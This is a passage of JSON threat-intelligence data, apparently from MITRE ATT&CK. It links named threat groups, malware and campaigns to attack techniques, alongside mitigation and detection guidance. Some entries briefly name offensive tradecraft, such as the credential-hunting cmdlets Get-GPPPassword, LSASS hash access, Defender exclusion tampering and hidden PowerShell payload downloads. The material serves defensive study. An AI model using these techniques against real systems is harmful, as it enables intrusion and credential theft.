2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T19:42:13.073Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c8e77a8-03f4-4581-a893-a07016bc155f","created":"2022-06-15T14:55:03.199Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has run `net localgroup` to enumerate local groups.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T14:50:40.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:05:00.667Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c92055a-8396-4e60-9e1f-c95a028b902b","created":"2021-11-16T15:32:34.255Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) has the ability to communicate with C2 servers over HTTP GET/POST requests.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-09T18:53:39.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c93f0f0-7e90-4c30-bcd8-850077a8a2f1","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T13:40:07.688Z","description":"Monitoring the creation of (sub)keys within the Windows Registry may reveal malicious root certificate installation. Installed root certificates are located in the Registry under \n```HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\``` and \n```HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\Root\\Certificates\\``` or ```HKCU\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\```\n\nThere are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c958009-dae2-44b3-840f-42985b0593c9","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c96f40f-8cbc-4561-9a1f-ce9dad5808d5","created":"2023-07-31T18:11:24.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:08:56.434Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has attempted to access hashed credentials from the LSASS process memory space.(Citation: Microsoft Volt Typhoon May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c98e0bb-7451-4c61-a798-4306b89b1e61","created":"2023-08-08T13:25:35.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.653Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used PowerShell cmdlets `Get-GPPPassword` and `Find-GPOPassword` to find unsecured credentials in a compromised network group policy.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c9bea96-819a-4a39-9814-62f3473530a4","type":"relationship","created":"2019-10-11T04:02:42.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2021-02-09T14:06:12.832Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) uses -windowstyle hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c9c3368-ff0e-4f3a-ae9f-5b78785984b9","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for newly constructed processes and/or command-lines that execute during the boot up process to check for unusual or unknown applications and behavior","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ca05cbf-6a28-4a6a-9d6c-e2b8331b2965","type":"relationship","created":"2020-07-27T15:21:26.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T15:48:13.276Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can add directories used by the malware to the Windows Defender exclusions list to prevent detection.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ca15f16-b87d-4373-8668-524431ceb35a","created":"2024-08-13T19:49:32.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:57:49.850Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors primarily used RDP for lateral movement in the victim environment.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ca1f5dc-9573-46bb-a9db-fb83cd15b272","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."}],"modified":"2021-07-30T19:31:46.570Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution.(Citation: F-Secure The Dukes)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC NOBELIUM May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cab522f-3469-4f57-97c5-f333c63691c0","created":"2023-01-17T22:03:21.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T16:59:10.308Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors collected `whoami` information via PowerShell scripts.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cabd775-7d78-4150-b529-bb8cfb747013","type":"relationship","created":"2020-05-07T03:04:14.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.587Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has disguised its scheduled tasks as those used by Google.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5caffa87-adbb-45e8-ba6b-dc61188471a7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.236Z","description":"[yty](https://attack.mitre.org/software/S0248) gets an output of running processes using the tasklist command.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cb2c8db-bd76-4a39-be55-6de6864cb129","type":"relationship","created":"2021-05-24T15:06:11.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-24T15:06:11.274Z","description":"[PS1](https://attack.mitre.org/software/S0613) can utilize a PowerShell loader.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6","type":"relationship","created":"2019-01-30T19:18:20.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}],"modified":"2021-09-13T18:33:56.384Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim’s machine.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cba4a5e-c005-495d-9cd6-60794d9b3247","type":"relationship","created":"2020-05-14T13:59:58.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-15T19:13:48.286Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has constructed legitimate appearing installation folder paths by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as C:\\Users\\Public.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cc793b0-cc45-439e-a994-c8884ca55fe7","created":"2020-05-08T17:01:36.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.209Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used RDP for lateral movement.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cc7ade7-2e21-41a3-8535-4274c138dcc4","type":"relationship","created":"2021-03-31T18:53:16.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:53:16.720Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) can parse the available drives and directories to determine which files to encrypt.(Citation: IBM MegaCortex) ","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cc7c5ef-f170-4147-8703-03ea34d40d12","type":"relationship","created":"2021-08-18T18:22:07.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.431Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has created new email accounts for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cc8aab6-8697-4277-8a12-290bfd15705d","type":"relationship","created":"2020-10-01T00:40:45.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:40:45.362Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5cca2310-8771-48d9-9db8-b7a7a2375960","created":"2022-08-09T18:43:49.179Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can retrieve the IP address of a compromised host.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-09T18:43:49.179Z","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ccac771-a984-4f06-b109-21ea7cd60b02","type":"relationship","created":"2021-08-24T14:29:21.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:29:21.709Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can query the Registry on compromised hosts using RegQueryValueExA.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and 